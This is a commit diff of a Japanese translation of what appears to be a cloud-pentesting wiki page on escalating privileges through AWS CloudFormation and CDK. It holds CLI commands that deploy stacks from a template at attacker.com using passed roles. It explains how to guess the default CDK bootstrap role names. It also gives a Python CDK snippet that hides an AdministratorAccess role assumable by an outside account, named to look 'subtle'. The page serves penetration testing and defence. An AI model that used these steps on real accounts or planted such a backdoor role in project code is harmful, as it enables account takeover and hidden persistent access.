Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:35:17 +00:00
parent bda7bba8fa
commit ebcb32b46d
4 changed files with 93 additions and 18 deletions

View File

@@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例**があります:
以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例** があります:
{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -37,23 +37,23 @@ aws cloudformation update-stack \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与**、攻撃を実行できます。
`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を与**、攻撃を実行できます。
**潜在的な影響:** 指定された cloudformation サービスロールへの権限昇格。
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください(更新時にロールを指定しないでください)。
この権限を持っているが、**`iam:PassRole`** がない場合でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与**、攻撃を実行できます。
`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を与**、攻撃を実行できます。
**潜在的な影響:** 既に添付されている cloudformation サービスロールへの権限昇格。
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
ロールを**渡す権限**と**ChangeSet を作成および実行する権限**を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。
ロールを**渡し、ChangeSet を作成および実行する**権限を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。
以下のエクスプロイトは、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack のバリエーション**](./#iam-passrole-cloudformation-createstack)です。
以下の悪用は、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack のバリエーション**](#iam-passrole-cloudformation-createstack)です。
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,32 +79,77 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
`cloudformation:SetStackPolicy` 権限を使用して、スタックに対して **自分に `ChangeSet` 権限を与え** ことができ、攻撃を実行できます。
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `ChangeSet` 権限を与え**、攻撃を実行できます。
**潜在的な影響:** cloudformation サービスロールへの権限昇格。
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
これは前の方法と似ていますが、**IAM ロール**を渡すことなく、すでにアタッチされているロールを **悪用する** ことができます。パラメータを変更するだけです:
これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**すでにアタッチされているロールを悪用する**ことができます。パラメータを変更するだけです:
```
--change-set-type UPDATE
```
**潜在的影響:** すでにアタッチされているcloudformationサービスロールへの権限昇格。
**潜在的影響:** すでにアタッチされているcloudformationサービスロールへの権限昇格。
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
攻撃者はこれらの権限を悪用して、任意のcloudformationロールを悪用するためにStackSetsを作成/更新することができます。
攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用することができます。
**潜在的影響:** cloudformationサービスロールへの権限昇格。
**潜在的影響:** cloudformationサービスロールへの権限昇格。
### `cloudformation:UpdateStackSet`
攻撃者はpassRole権限なしでこの権限を悪用して、アタッチされたcloudformationロールを悪用するためにStackSetsを更新することができます。
攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用することができます。
**潜在的影響:** アタッチされたcloudformationロールへの権限昇格。
**潜在的影響:** アタッチされたcloudformationロールへの権限昇格。
## AWS CDK
AWS cdkは、ユーザーが既に慣れ親しんでいる言語でインフラストラクチャをコードとして定義できるツールキットであり、セクションを簡単に再利用できます。CDKはその後、高レベルのコードつまりpythonをCloudformationテンプレートyamlまたはjsonに変換します。
CDKを使用するには、管理者ユーザーが最初にアカウントをブートストラップする必要があり、これによりいくつかのIAMロールが作成されます。これには、\*/\*権限を持つ*exec role*が含まれます。これらのロールは、`cdk-<qualifier>-<name>-<account-id>-<region>`という命名構造に従います。ブートストラッピングは、アカウントごとに地域ごとに一度行う必要があります。
デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、それらを手動で特定する必要があります。開発者のマシンやCI/CDードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、`cfn-exec`ロールを使用してCFNが任意のリソースをデプロイできるようにし、アカウントを完全に侵害します。
### ロール名の特定
`cloudformation:DescribeStacks`を持っている場合、ロールは`CDKToolkit`というスタックに定義されており、そこから名前を取得できます。
CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにある`cdk.out/manafest.json`からそれらを取得できます。
また、それらが何であるかを良い推測をすることもできます。`qualifier`は、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにするためにロールに追加される文字列ですが、デフォルト値は`hnb659fds`にハードコーディングされています。
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### プロジェクトソースに悪意のあるコードを追加する
プロジェクトソースに書き込むことができるが、自分でデプロイできない場合例えば、開発者がCI/CDを介してコードをデプロイする場合、スタックに悪意のあるリソースを追加することで環境を侵害することができます。以下は、攻撃者アカウントによって引き受けられるIAMロールをpython CDKプロジェクトに追加します。
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## 参考文献
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}